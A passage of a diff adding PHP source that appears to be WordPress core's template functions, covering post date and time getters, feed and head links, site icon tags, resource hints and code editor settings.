+	 * @since 4.6.0 Added the `$post` parameter.
+	 *
+	 * @param string|bool  $the_time The formatted date or false if no post is found.
+	 * @param string       $d        PHP date format. Defaults to value specified in
+	 *                               'date_format' option.
+	 * @param WP_Post|null $post     WP_Post object or null if no post is found.
+	 */
+	return apply_filters( 'get_the_modified_date', $the_time, $d, $post );
+}
+
+/**
+ * Display the time at which the post was written.
+ *
+ * @since 0.71
+ *
+ * @param string $d Either 'G', 'U', or php date format.
+ */
+function the_time( $d = '' ) {
+	/**
+	 * Filters the time a post was written for display.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string $get_the_time The formatted time.
+	 * @param string $d            The time format. Accepts 'G', 'U',
+	 *                             or php date format.
+	 */
+	echo apply_filters( 'the_time', get_the_time( $d ), $d );
+}
+
+/**
+ * Retrieve the time at which the post was written.
+ *
+ * @since 1.5.0
+ *
+ * @param string      $d    Optional. Format to use for retrieving the time the post
+ *                          was written. Either 'G', 'U', or php date format defaults
+ *                          to the value specified in the time_format option. Default empty.
+ * @param int|WP_Post $post WP_Post object or ID. Default is global $post object.
+ * @return string|int|false Formatted date string or Unix timestamp if `$id` is 'U' or 'G'. False on failure.
+ */
+function get_the_time( $d = '', $post = null ) {
+	$post = get_post($post);
+
+	if ( ! $post ) {
+		return false;
+	}
+
+	if ( '' == $d )
+		$the_time = get_post_time(get_option('time_format'), false, $post, true);
+	else
+		$the_time = get_post_time($d, false, $post, true);
+
+	/**
+	 * Filters the time a post was written.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string      $the_time The formatted time.
+	 * @param string      $d        Format to use for retrieving the time the post was written.
+	 *                              Accepts 'G', 'U', or php date format value specified
+	 *                              in 'time_format' option. Default empty.
+	 * @param int|WP_Post $post     WP_Post object or ID.
+	 */
+	return apply_filters( 'get_the_time', $the_time, $d, $post );
+}
+
+/**
+ * Retrieve the time at which the post was written.
+ *
+ * @since 2.0.0
+ *
+ * @param string      $d         Optional. Format to use for retrieving the time the post
+ *                               was written. Either 'G', 'U', or php date format. Default 'U'.
+ * @param bool        $gmt       Optional. Whether to retrieve the GMT time. Default false.
+ * @param int|WP_Post $post      WP_Post object or ID. Default is global $post object.
+ * @param bool        $translate Whether to translate the time string. Default false.
+ * @return string|int|false Formatted date string or Unix timestamp if `$id` is 'U' or 'G'. False on failure.
+ */
+function get_post_time( $d = 'U', $gmt = false, $post = null, $translate = false ) {
+	$post = get_post($post);
+
+	if ( ! $post ) {
+		return false;
+	}
+
+	if ( $gmt )
+		$time = $post->post_date_gmt;
+	else
+		$time = $post->post_date;
+
+	$time = mysql2date($d, $time, $translate);
+
+	/**
+	 * Filters the localized time a post was written.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param string $time The formatted time.
+	 * @param string $d    Format to use for retrieving the time the post was written.
+	 *                     Accepts 'G', 'U', or php date format. Default 'U'.
+	 * @param bool   $gmt  Whether to retrieve the GMT time. Default false.
+	 */
+	return apply_filters( 'get_post_time', $time, $d, $gmt );
+}
+
+/**
+ * Display the time at which the post was last modified.
+ *
+ * @since 2.0.0
+ *
+ * @param string $d Optional Either 'G', 'U', or php date format defaults to the value specified in the time_format option.
+ */
+function the_modified_time($d = '') {
+	/**
+	 * Filters the localized time a post was last modified, for display.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $get_the_modified_time The formatted time.
+	 * @param string $d                     The time format. Accepts 'G', 'U',
+	 *                                      or php date format. Defaults to value
+	 *                                      specified in 'time_format' option.
+	 */
+	echo apply_filters( 'the_modified_time', get_the_modified_time($d), $d );
+}
+
+/**
+ * Retrieve the time at which the post was last modified.
+ *
+ * @since 2.0.0
+ * @since 4.6.0 Added the `$post` parameter.
+ *
+ * @param string      $d     Optional. Format to use for retrieving the time the post
+ *                           was modified. Either 'G', 'U', or php date format defaults
+ *                           to the value specified in the time_format option. Default empty.
+ * @param int|WP_Post $post  Optional. Post ID or WP_Post object. Default current post.
+ * @return false|string Formatted date string or Unix timestamp. False on failure.
+ */
+function get_the_modified_time( $d = '', $post = null ) {
+	$post = get_post( $post );
+
+	if ( ! $post ) {
+		// For backward compatibility, failures go through the filter below.
+		$the_time = false;
+	} elseif ( empty( $d ) ) {
+		$the_time = get_post_modified_time( get_option( 'time_format' ), false, $post, true );
+	} else {
+		$the_time = get_post_modified_time( $d, false, $post, true );
+	}
+
+	/**
+	 * Filters the localized time a post was last modified.
+	 *
+	 * @since 2.0.0
+	 * @since 4.6.0 Added the `$post` parameter.
+	 *
+	 * @param string|bool  $the_time The formatted time or false if no post is found.
+	 * @param string       $d        Format to use for retrieving the time the post was
+	 *                               written. Accepts 'G', 'U', or php date format. Defaults
+	 *                               to value specified in 'time_format' option.
+	 * @param WP_Post|null $post     WP_Post object or null if no post is found.
+	 */
+	return apply_filters( 'get_the_modified_time', $the_time, $d, $post );
+}
+
+/**
+ * Retrieve the time at which the post was last modified.
+ *
+ * @since 2.0.0
+ *
+ * @param string      $d         Optional. Format to use for retrieving the time the post
+ *                               was modified. Either 'G', 'U', or php date format. Default 'U'.
+ * @param bool        $gmt       Optional. Whether to retrieve the GMT time. Default false.
+ * @param int|WP_Post $post      WP_Post object or ID. Default is global $post object.
+ * @param bool        $translate Whether to translate the time string. Default false.
+ * @return string|int|false Formatted date string or Unix timestamp if `$id` is 'U' or 'G'. False on failure.
+ */
+function get_post_modified_time( $d = 'U', $gmt = false, $post = null, $translate = false ) {
+	$post = get_post($post);
+
+	if ( ! $post ) {
+		return false;
+	}
+
+	if ( $gmt )
+		$time = $post->post_modified_gmt;
+	else
+		$time = $post->post_modified;
+	$time = mysql2date($d, $time, $translate);
+
+	/**
+	 * Filters the localized time a post was last modified.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $time The formatted time.
+	 * @param string $d    The date format. Accepts 'G', 'U', or php date format. Default 'U'.
+	 * @param bool   $gmt  Whether to return the GMT time. Default false.
+	 */
+	return apply_filters( 'get_post_modified_time', $time, $d, $gmt );
+}
+
+/**
+ * Display the weekday on which the post was written.
+ *
+ * @since 0.71
+ *
+ * @global WP_Locale $wp_locale
+ */
+function the_weekday() {
+	global $wp_locale;
+	$the_weekday = $wp_locale->get_weekday( mysql2date( 'w', get_post()->post_date, false ) );
+
+	/**
+	 * Filters the weekday on which the post was written, for display.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string $the_weekday
+	 */
+	echo apply_filters( 'the_weekday', $the_weekday );
+}
+
+/**
+ * Display the weekday on which the post was written.
+ *
+ * Will only output the weekday if the current post's weekday is different from
+ * the previous one output.
+ *
+ * @since 0.71
+ *
+ * @global WP_Locale       $wp_locale
+ * @global string|int|bool $currentday
+ * @global string|int|bool $previousweekday
+ *
+ * @param string $before Optional Output before the date.
+ * @param string $after Optional Output after the date.
+ */
+function the_weekday_date($before='',$after='') {
+	global $wp_locale, $currentday, $previousweekday;
+	$the_weekday_date = '';
+	if ( $currentday != $previousweekday ) {
+		$the_weekday_date .= $before;
+		$the_weekday_date .= $wp_locale->get_weekday( mysql2date( 'w', get_post()->post_date, false ) );
+		$the_weekday_date .= $after;
+		$previousweekday = $currentday;
+	}
+
+	/**
+	 * Filters the localized date on which the post was written, for display.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string $the_weekday_date
+	 * @param string $before           The HTML to output before the date.
+	 * @param string $after            The HTML to output after the date.
+	 */
+	$the_weekday_date = apply_filters( 'the_weekday_date', $the_weekday_date, $before, $after );
+	echo $the_weekday_date;
+}
+
+/**
+ * Fire the wp_head action.
+ *
+ * See {@see 'wp_head'}.
+ *
+ * @since 1.2.0
+ */
+function wp_head() {
+	/**
+	 * Prints scripts or data in the head tag on the front end.
+	 *
+	 * @since 1.5.0
+	 */
+	do_action( 'wp_head' );
+}
+
+/**
+ * Fire the wp_footer action.
+ *
+ * See {@see 'wp_footer'}.
+ *
+ * @since 1.5.1
+ */
+function wp_footer() {
+	/**
+	 * Prints scripts or data before the closing body tag on the front end.
+	 *
+	 * @since 1.5.1
+	 */
+	do_action( 'wp_footer' );
+}
+
+/**
+ * Display the links to the general feeds.
+ *
+ * @since 2.8.0
+ *
+ * @param array $args Optional arguments.
+ */
+function feed_links( $args = array() ) {
+	if ( !current_theme_supports('automatic-feed-links') )
+		return;
+
+	$defaults = array(
+		/* translators: Separator between blog name and feed type in feed links */
+		'separator'	=> _x('&raquo;', 'feed link'),
+		/* translators: 1: blog title, 2: separator (raquo) */
+		'feedtitle'	=> __('%1$s %2$s Feed'),
+		/* translators: 1: blog title, 2: separator (raquo) */
+		'comstitle'	=> __('%1$s %2$s Comments Feed'),
+	);
+
+	$args = wp_parse_args( $args, $defaults );
+
+	/**
+	 * Filters whether to display the posts feed link.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param bool $show Whether to display the posts feed link. Default true.
+	 */
+	if ( apply_filters( 'feed_links_show_posts_feed', true ) ) {
+		echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr( sprintf( $args['feedtitle'], get_bloginfo( 'name' ), $args['separator'] ) ) . '" href="' . esc_url( get_feed_link() ) . "\" />\n";
+	}
+
+	/**
+	 * Filters whether to display the comments feed link.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param bool $show Whether to display the comments feed link. Default true.
+	 */
+	if ( apply_filters( 'feed_links_show_comments_feed', true ) ) {
+		echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr( sprintf( $args['comstitle'], get_bloginfo( 'name' ), $args['separator'] ) ) . '" href="' . esc_url( get_feed_link( 'comments_' . get_default_feed() ) ) . "\" />\n";
+	}
+}
+
+/**
+ * Display the links to the extra feeds such as category feeds.
+ *
+ * @since 2.8.0
+ *
+ * @param array $args Optional arguments.
+ */
+function feed_links_extra( $args = array() ) {
+	$defaults = array(
+		/* translators: Separator between blog name and feed type in feed links */
+		'separator'   => _x('&raquo;', 'feed link'),
+		/* translators: 1: blog name, 2: separator(raquo), 3: post title */
+		'singletitle' => __('%1$s %2$s %3$s Comments Feed'),
+		/* translators: 1: blog name, 2: separator(raquo), 3: category name */
+		'cattitle'    => __('%1$s %2$s %3$s Category Feed'),
+		/* translators: 1: blog name, 2: separator(raquo), 3: tag name */
+		'tagtitle'    => __('%1$s %2$s %3$s Tag Feed'),
+		/* translators: 1: blog name, 2: separator(raquo), 3: term name, 4: taxonomy singular name */
+		'taxtitle'    => __('%1$s %2$s %3$s %4$s Feed'),
+		/* translators: 1: blog name, 2: separator(raquo), 3: author name  */
+		'authortitle' => __('%1$s %2$s Posts by %3$s Feed'),
+		/* translators: 1: blog name, 2: separator(raquo), 3: search phrase */
+		'searchtitle' => __('%1$s %2$s Search Results for &#8220;%3$s&#8221; Feed'),
+		/* translators: 1: blog name, 2: separator(raquo), 3: post type name */
+		'posttypetitle' => __('%1$s %2$s %3$s Feed'),
+	);
+
+	$args = wp_parse_args( $args, $defaults );
+
+	if ( is_singular() ) {
+		$id = 0;
+		$post = get_post( $id );
+
+		if ( comments_open() || pings_open() || $post->comment_count > 0 ) {
+			$title = sprintf( $args['singletitle'], get_bloginfo('name'), $args['separator'], the_title_attribute( array( 'echo' => false ) ) );
+			$href = get_post_comments_feed_link( $post->ID );
+		}
+	} elseif ( is_post_type_archive() ) {
+		$post_type = get_query_var( 'post_type' );
+		if ( is_array( $post_type ) )
+			$post_type = reset( $post_type );
+
+		$post_type_obj = get_post_type_object( $post_type );
+		$title = sprintf( $args['posttypetitle'], get_bloginfo( 'name' ), $args['separator'], $post_type_obj->labels->name );
+		$href = get_post_type_archive_feed_link( $post_type_obj->name );
+	} elseif ( is_category() ) {
+		$term = get_queried_object();
+
+		if ( $term ) {
+			$title = sprintf( $args['cattitle'], get_bloginfo('name'), $args['separator'], $term->name );
+			$href = get_category_feed_link( $term->term_id );
+		}
+	} elseif ( is_tag() ) {
+		$term = get_queried_object();
+
+		if ( $term ) {
+			$title = sprintf( $args['tagtitle'], get_bloginfo('name'), $args['separator'], $term->name );
+			$href = get_tag_feed_link( $term->term_id );
+		}
+	} elseif ( is_tax() ) {
+ 		$term = get_queried_object();
+ 		$tax = get_taxonomy( $term->taxonomy );
+ 		$title = sprintf( $args['taxtitle'], get_bloginfo('name'), $args['separator'], $term->name, $tax->labels->singular_name );
+ 		$href = get_term_feed_link( $term->term_id, $term->taxonomy );
+	} elseif ( is_author() ) {
+		$author_id = intval( get_query_var('author') );
+
+		$title = sprintf( $args['authortitle'], get_bloginfo('name'), $args['separator'], get_the_author_meta( 'display_name', $author_id ) );
+		$href = get_author_feed_link( $author_id );
+	} elseif ( is_search() ) {
+		$title = sprintf( $args['searchtitle'], get_bloginfo('name'), $args['separator'], get_search_query( false ) );
+		$href = get_search_feed_link();
+	} elseif ( is_post_type_archive() ) {
+		$title = sprintf( $args['posttypetitle'], get_bloginfo('name'), $args['separator'], post_type_archive_title( '', false ) );
+		$post_type_obj = get_queried_object();
+		if ( $post_type_obj )
+			$href = get_post_type_archive_feed_link( $post_type_obj->name );
+	}
+
+	if ( isset($title) && isset($href) )
+		echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr( $title ) . '" href="' . esc_url( $href ) . '" />' . "\n";
+}
+
+/**
+ * Display the link to the Really Simple Discovery service endpoint.
+ *
+ * @link http://archipelago.phrasewise.com/rsd
+ * @since 2.0.0
+ */
+function rsd_link() {
+	echo '<link rel="EditURI" type="application/rsd+xml" title="RSD" href="' . esc_url( site_url( 'xmlrpc.php?rsd', 'rpc' ) ) . '" />' . "\n";
+}
+
+/**
+ * Display the link to the Windows Live Writer manifest file.
+ *
+ * @link https://msdn.microsoft.com/en-us/library/bb463265.aspx
+ * @since 2.3.1
+ */
+function wlwmanifest_link() {
+	echo '<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="',
+		includes_url( 'wlwmanifest.xml' ), '" /> ', "\n";
+}
+
+/**
+ * Displays a noindex meta tag if required by the blog configuration.
+ *
+ * If a blog is marked as not being public then the noindex meta tag will be
+ * output to tell web robots not to index the page content. Add this to the
+ * {@see 'wp_head'} action.
+ *
+ * Typical usage is as a {@see 'wp_head'} callback:
+ *
+ *     add_action( 'wp_head', 'noindex' );
+ *
+ * @see wp_no_robots
+ *
+ * @since 2.1.0
+ */
+function noindex() {
+	// If the blog is not public, tell robots to go away.
+	if ( '0' == get_option('blog_public') )
+		wp_no_robots();
+}
+
+/**
+ * Display a noindex meta tag.
+ *
+ * Outputs a noindex meta tag that tells web robots not to index the page content.
+ * Typical usage is as a wp_head callback. add_action( 'wp_head', 'wp_no_robots' );
+ *
+ * @since 3.3.0
+ */
+function wp_no_robots() {
+	echo "<meta name='robots' content='noindex,follow' />\n";
+}
+
+/**
+ * Display a noindex,noarchive meta tag and referrer origin-when-cross-origin meta tag.
+ *
+ * Outputs a noindex,noarchive meta tag that tells web robots not to index or cache the page content.
+ * Outputs a referrer origin-when-cross-origin meta tag that tells the browser not to send the full
+ * url as a referrer to other sites when cross-origin assets are loaded.
+ *
+ * Typical usage is as a wp_head callback. add_action( 'wp_head', 'wp_sensitive_page_meta' );
+ *
+ * @since 5.0.0
+ */
+function wp_sensitive_page_meta() {
+	?>
+	<meta name='robots' content='noindex,noarchive' />
+	<meta name='referrer' content='strict-origin-when-cross-origin' />
+	<?php
+}
+
+/**
+ * Display site icon meta tags.
+ *
+ * @since 4.3.0
+ *
+ * @link https://www.whatwg.org/specs/web-apps/current-work/multipage/links.html#rel-icon HTML5 specification link icon.
+ */
+function wp_site_icon() {
+	if ( ! has_site_icon() && ! is_customize_preview() ) {
+		return;
+	}
+
+	$meta_tags = array();
+	$icon_32 = get_site_icon_url( 32 );
+	if ( empty( $icon_32 ) && is_customize_preview() ) {
+		$icon_32 = '/favicon.ico'; // Serve default favicon URL in customizer so element can be updated for preview.
+	}
+	if ( $icon_32 ) {
+		$meta_tags[] = sprintf( '<link rel="icon" href="%s" sizes="32x32" />', esc_url( $icon_32 ) );
+	}
+	$icon_192 = get_site_icon_url( 192 );
+	if ( $icon_192 ) {
+		$meta_tags[] = sprintf( '<link rel="icon" href="%s" sizes="192x192" />', esc_url( $icon_192 ) );
+	}
+	$icon_180 = get_site_icon_url( 180 );
+	if ( $icon_180 ) {
+		$meta_tags[] = sprintf( '<link rel="apple-touch-icon-precomposed" href="%s" />', esc_url( $icon_180 ) );
+	}
+	$icon_270 = get_site_icon_url( 270 );
+	if ( $icon_270 ) {
+		$meta_tags[] = sprintf( '<meta name="msapplication-TileImage" content="%s" />', esc_url( $icon_270 ) );
+	}
+
+	/**
+	 * Filters the site icon meta tags, so Plugins can add their own.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param array $meta_tags Site Icon meta elements.
+	 */
+	$meta_tags = apply_filters( 'site_icon_meta_tags', $meta_tags );
+	$meta_tags = array_filter( $meta_tags );
+
+	foreach ( $meta_tags as $meta_tag ) {
+		echo "$meta_tag\n";
+	}
+}
+
+/**
+ * Prints resource hints to browsers for pre-fetching, pre-rendering
+ * and pre-connecting to web sites.
+ *
+ * Gives hints to browsers to prefetch specific pages or render them
+ * in the background, to perform DNS lookups or to begin the connection
+ * handshake (DNS, TCP, TLS) in the background.
+ *
+ * These performance improving indicators work by using `<link rel"…">`.
+ *
+ * @since 4.6.0
+ */
+function wp_resource_hints() {
+	$hints = array(
+		'dns-prefetch' => wp_dependencies_unique_hosts(),
+		'preconnect'   => array(),
+		'prefetch'     => array(),
+		'prerender'    => array(),
+	);
+
+	/*
+	 * Add DNS prefetch for the Emoji CDN.
+	 * The path is removed in the foreach loop below.
+	 */
+	/** This filter is documented in wp-includes/formatting.php */
+	$hints['dns-prefetch'][] = apply_filters( 'emoji_svg_url', 'https://s.w.org/images/core/emoji/11/svg/' );
+
+	foreach ( $hints as $relation_type => $urls ) {
+		$unique_urls = array();
+
+		/**
+		 * Filters domains and URLs for resource hints of relation type.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param array  $urls          URLs to print for resource hints.
+		 * @param string $relation_type The relation type the URLs are printed for, e.g. 'preconnect' or 'prerender'.
+		 */
+		$urls = apply_filters( 'wp_resource_hints', $urls, $relation_type );
+
+		foreach ( $urls as $key => $url ) {
+			$atts = array();
+
+			if ( is_array( $url ) ) {
+				if ( isset( $url['href'] ) ) {
+					$atts = $url;
+					$url  = $url['href'];
+				} else {
+					continue;
+				}
+			}
+
+			$url = esc_url( $url, array( 'http', 'https' ) );
+
+			if ( ! $url ) {
+				continue;
+			}
+
+			if ( isset( $unique_urls[ $url ] ) ) {
+				continue;
+			}
+
+			if ( in_array( $relation_type, array( 'preconnect', 'dns-prefetch' ) ) ) {
+				$parsed = wp_parse_url( $url );
+
+				if ( empty( $parsed['host'] ) ) {
+					continue;
+				}
+
+				if ( 'preconnect' === $relation_type && ! empty( $parsed['scheme'] ) ) {
+					$url = $parsed['scheme'] . '://' . $parsed['host'];
+				} else {
+					// Use protocol-relative URLs for dns-prefetch or if scheme is missing.
+					$url = '//' . $parsed['host'];
+				}
+			}
+
+			$atts['rel'] = $relation_type;
+			$atts['href'] = $url;
+
+			$unique_urls[ $url ] = $atts;
+		}
+
+		foreach ( $unique_urls as $atts ) {
+			$html = '';
+
+			foreach ( $atts as $attr => $value ) {
+				if ( ! is_scalar( $value ) ||
+				     ( ! in_array( $attr, array( 'as', 'crossorigin', 'href', 'pr', 'rel', 'type' ), true ) && ! is_numeric( $attr ))
+				) {
+					continue;
+				}
+
+				$value = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value );
+
+				if ( ! is_string( $attr ) ) {
+					$html .= " $value";
+				} else {
+					$html .= " $attr='$value'";
+				}
+			}
+
+			$html = trim( $html );
+
+			echo "<link $html />\n";
+		}
+	}
+}
+
+/**
+ * Retrieves a list of unique hosts of all enqueued scripts and styles.
+ *
+ * @since 4.6.0
+ *
+ * @return array A list of unique hosts of enqueued scripts and styles.
+ */
+function wp_dependencies_unique_hosts() {
+	global $wp_scripts, $wp_styles;
+
+	$unique_hosts = array();
+
+	foreach ( array( $wp_scripts, $wp_styles ) as $dependencies ) {
+		if ( $dependencies instanceof WP_Dependencies && ! empty( $dependencies->queue ) ) {
+			foreach ( $dependencies->queue as $handle ) {
+				if ( ! isset( $dependencies->registered[ $handle ] ) ) {
+					continue;
+				}
+
+				/* @var _WP_Dependency $dependency */
+				$dependency = $dependencies->registered[ $handle ];
+				$parsed     = wp_parse_url( $dependency->src );
+
+				if ( ! empty( $parsed['host'] ) && ! in_array( $parsed['host'], $unique_hosts ) && $parsed['host'] !== $_SERVER['SERVER_NAME'] ) {
+					$unique_hosts[] = $parsed['host'];
+				}
+			}
+		}
+	}
+
+	return $unique_hosts;
+}
+
+/**
+ * Whether the user can access the visual editor.
+ *
+ * Checks if the user can access the visual editor and that it's supported by the user's browser.
+ *
+ * @since 2.0.0
+ *
+ * @global bool $wp_rich_edit Whether the user can access the visual editor.
+ * @global bool $is_gecko     Whether the browser is Gecko-based.
+ * @global bool $is_opera     Whether the browser is Opera.
+ * @global bool $is_safari    Whether the browser is Safari.
+ * @global bool $is_chrome    Whether the browser is Chrome.
+ * @global bool $is_IE        Whether the browser is Internet Explorer.
+ * @global bool $is_edge      Whether the browser is Microsoft Edge.
+ *
+ * @return bool True if the user can access the visual editor, false otherwise.
+ */
+function user_can_richedit() {
+	global $wp_rich_edit, $is_gecko, $is_opera, $is_safari, $is_chrome, $is_IE, $is_edge;
+
+	if ( !isset($wp_rich_edit) ) {
+		$wp_rich_edit = false;
+
+		if ( get_user_option( 'rich_editing' ) == 'true' || ! is_user_logged_in() ) { // default to 'true' for logged out users
+			if ( $is_safari ) {
+				$wp_rich_edit = ! wp_is_mobile() || ( preg_match( '!AppleWebKit/(\d+)!', $_SERVER['HTTP_USER_AGENT'], $match ) && intval( $match[1] ) >= 534 );
+			} elseif ( $is_IE ) {
+				$wp_rich_edit = ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Trident/7.0;' ) !== false );
+			} elseif ( $is_gecko || $is_chrome || $is_edge || ( $is_opera && !wp_is_mobile() ) ) {
+				$wp_rich_edit = true;
+			}
+		}
+	}
+
+	/**
+	 * Filters whether the user can access the visual editor.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param bool $wp_rich_edit Whether the user can access the visual editor.
+	 */
+	return apply_filters( 'user_can_richedit', $wp_rich_edit );
+}
+
+/**
+ * Find out which editor should be displayed by default.
+ *
+ * Works out which of the two editors to display as the current editor for a
+ * user. The 'html' setting is for the "Text" editor tab.
+ *
+ * @since 2.5.0
+ *
+ * @return string Either 'tinymce', or 'html', or 'test'
+ */
+function wp_default_editor() {
+	$r = user_can_richedit() ? 'tinymce' : 'html'; // defaults
+	if ( wp_get_current_user() ) { // look for cookie
+		$ed = get_user_setting('editor', 'tinymce');
+		$r = ( in_array($ed, array('tinymce', 'html', 'test') ) ) ? $ed : $r;
+	}
+
+	/**
+	 * Filters which editor should be displayed by default.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $r Which editor should be displayed by default. Either 'tinymce', 'html', or 'test'.
+	 */
+	return apply_filters( 'wp_default_editor', $r );
+}
+
+/**
+ * Renders an editor.
+ *
+ * Using this function is the proper way to output all needed components for both TinyMCE and Quicktags.
+ * _WP_Editors should not be used directly. See https://core.trac.wordpress.org/ticket/17144.
+ *
+ * NOTE: Once initialized the TinyMCE editor cannot be safely moved in the DOM. For that reason
+ * running wp_editor() inside of a meta box is not a good idea unless only Quicktags is used.
+ * On the post edit screen several actions can be used to include additional editors
+ * containing TinyMCE: 'edit_page_form', 'edit_form_advanced' and 'dbx_post_sidebar'.
+ * See https://core.trac.wordpress.org/ticket/19173 for more information.
+ *
+ * @see _WP_Editors::editor()
+ * @since 3.3.0
+ *
+ * @param string $content   Initial content for the editor.
+ * @param string $editor_id HTML ID attribute value for the textarea and TinyMCE. Can only be /[a-z]+/.
+ * @param array  $settings  See _WP_Editors::editor().
+ */
+function wp_editor( $content, $editor_id, $settings = array() ) {
+	if ( ! class_exists( '_WP_Editors', false ) )
+		require( ABSPATH . WPINC . '/class-wp-editor.php' );
+	_WP_Editors::editor($content, $editor_id, $settings);
+}
+
+/**
+ * Outputs the editor scripts, stylesheets, and default settings.
+ *
+ * The editor can be initialized when needed after page load.
+ * See wp.editor.initialize() in wp-admin/js/editor.js for initialization options.
+ *
+ * @uses _WP_Editors
+ * @since 4.8.0
+ */
+function wp_enqueue_editor() {
+	if ( ! class_exists( '_WP_Editors', false ) ) {
+		require( ABSPATH . WPINC . '/class-wp-editor.php' );
+	}
+
+	_WP_Editors::enqueue_default_editor();
+}
+
+/**
+ * Enqueue assets needed by the code editor for the given settings.
+ *
+ * @since 4.9.0
+ *
+ * @see wp_enqueue_editor()
+ * @see wp_get_code_editor_settings();
+ * @see _WP_Editors::parse_settings()
+ *
+ * @param array $args {
+ *     Args.
+ *
+ *     @type string   $type       The MIME type of the file to be edited.
+ *     @type string   $file       Filename to be edited. Extension is used to sniff the type. Can be supplied as alternative to `$type` param.
+ *     @type WP_Theme $theme      Theme being edited when on theme editor.
+ *     @type string   $plugin     Plugin being edited when on plugin editor.
+ *     @type array    $codemirror Additional CodeMirror setting overrides.
+ *     @type array    $csslint    CSSLint rule overrides.
+ *     @type array    $jshint     JSHint rule overrides.
+ *     @type array    $htmlhint   JSHint rule overrides.
+ * }
+ * @return array|false Settings for the enqueued code editor, or false if the editor was not enqueued.
+ */
+function wp_enqueue_code_editor( $args ) {
+	if ( is_user_logged_in() && 'false' === wp_get_current_user()->syntax_highlighting ) {
+		return false;
+	}
+
+	$settings = wp_get_code_editor_settings( $args );
+
+	if ( empty( $settings ) || empty( $settings['codemirror'] ) ) {
+		return false;
+	}
+
+	wp_enqueue_script( 'code-editor' );
+	wp_enqueue_style( 'code-editor' );
+
+	if ( isset( $settings['codemirror']['mode'] ) ) {
+		$mode = $settings['codemirror']['mode'];
+		if ( is_string( $mode ) ) {
+			$mode = array(
+				'name' => $mode,
+			);
+		}
+
+		if ( ! empty( $settings['codemirror']['lint'] ) ) {
+			switch ( $mode['name'] ) {
+				case 'css':
+				case 'text/css':
+				case 'text/x-scss':
+				case 'text/x-less':
+					wp_enqueue_script( 'csslint' );
+					break;
+				case 'htmlmixed':
+				case 'text/html':
+				case 'php':
+				case 'application/x-httpd-php':
+				case 'text/x-php':
+					wp_enqueue_script( 'htmlhint' );
+					wp_enqueue_script( 'csslint' );
+					wp_enqueue_script( 'jshint' );
+					if ( ! current_user_can( 'unfiltered_html' ) ) {
+						wp_enqueue_script( 'htmlhint-kses' );
+					}
+					break;
+				case 'javascript':
+				case 'application/ecmascript':
+				case 'application/json':
+				case 'application/javascript':
+				case 'application/ld+json':
+				case 'text/typescript':
+				case 'application/typescript':
+					wp_enqueue_script( 'jshint' );
+					wp_enqueue_script( 'jsonlint' );
+					break;
+			}
+		}
+	}
+
+	wp_add_inline_script( 'code-editor', sprintf( 'jQuery.extend( wp.codeEditor.defaultSettings, %s );', wp_json_encode( $settings ) ) );
+
+	/**
+	 * Fires when scripts and styles are enqueued for the code editor.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param array $settings Settings for the enqueued code editor.
+	 */
+	do_action( 'wp_enqueue_code_editor', $settings );
+
+	return $settings;
+}
+
+/**
+ * Generate and return code editor settings.
+ *
+ * @since 5.0.0
+ *
+ * @see wp_enqueue_code_editor()
+ *
+ * @param array $args {
+ *     Args.
+ *
+ *     @type string   $type       The MIME type of the file to be edited.
+ *     @type string   $file       Filename to be edited. Extension is used to sniff the type. Can be supplied as alternative to `$type` param.
+ *     @type WP_Theme $theme      Theme being edited when on theme editor.
+ *     @type string   $plugin     Plugin being edited when on plugin editor.
+ *     @type array    $codemirror Additional CodeMirror setting overrides.
+ *     @type array    $csslint    CSSLint rule overrides.
+ *     @type array    $jshint     JSHint rule overrides.
+ *     @type array    $htmlhint   JSHint rule overrides.
+ * }
+ * @return array|false Settings for the code editor.
+ */
+function wp_get_code_editor_settings( $args ) {
+	$settings = array(
+		'codemirror' => array(
+			'indentUnit' => 4,
+			'indentWithTabs' => true,
+			'inputStyle' => 'contenteditable',
+			'lineNumbers' => true,
+			'lineWrapping' => true,
+			'styleActiveLine' => true,
+			'continueComments' => true,
+			'extraKeys' => array(
+				'Ctrl-Space' => 'autocomplete',
+				'Ctrl-/' => 'toggleComment',
+				'Cmd-/' => 'toggleComment',
+				'Alt-F' => 'findPersistent',
+				'Ctrl-F'     => 'findPersistent',
+				'Cmd-F'      => 'findPersistent',
+			),
+			'direction' => 'ltr', // Code is shown in LTR even in RTL languages.
+			'gutters' => array(),
+		),
+		'csslint' => array(
+			'errors' => true, // Parsing errors.
+			'box-model' => true,
+			'display-property-grouping' => true,
+			'duplicate-properties' => true,
+			'known-properties' => true,
+			'outline-none' => true,
+		),
+		'jshint' => array(
+			// The following are copied from <https://github.com/WordPress/wordpress-develop/blob/4.8.1/.jshintrc>.
+			'boss' => true,
+			'curly' => true,
+			'eqeqeq' => true,
+			'eqnull' => true,
+			'es3' => true,
+			'expr' => true,
+			'immed' => true,
+			'noarg' => true,
+			'nonbsp' => true,
+			'onevar' => true,
+			'quotmark' => 'single',
+			'trailing' => true,
+			'undef' => true,
+			'unused' => true,
+
+			'browser' => true,
+
+			'globals' => array(
+				'_' => false,
+				'Backbone' => false,
+				'jQuery' => false,
+				'JSON' => false,
+				'wp' => false,
+			),
+		),
+		'htmlhint' => array(
+			'tagname-lowercase' => true,
+			'attr-lowercase' => true,
+			'attr-value-double-quotes' => false,
+			'doctype-first' => false,
+			'tag-pair' => true,
+			'spec-char-escape' => true,
+			'id-unique' => true,
+			'src-not-empty' => true,
+			'attr-no-duplication' => true,
+			'alt-require' => true,
+			'space-tab-mixed-disabled' => 'tab',
+			'attr-unsafe-chars' => true,
+		),
+	);
+
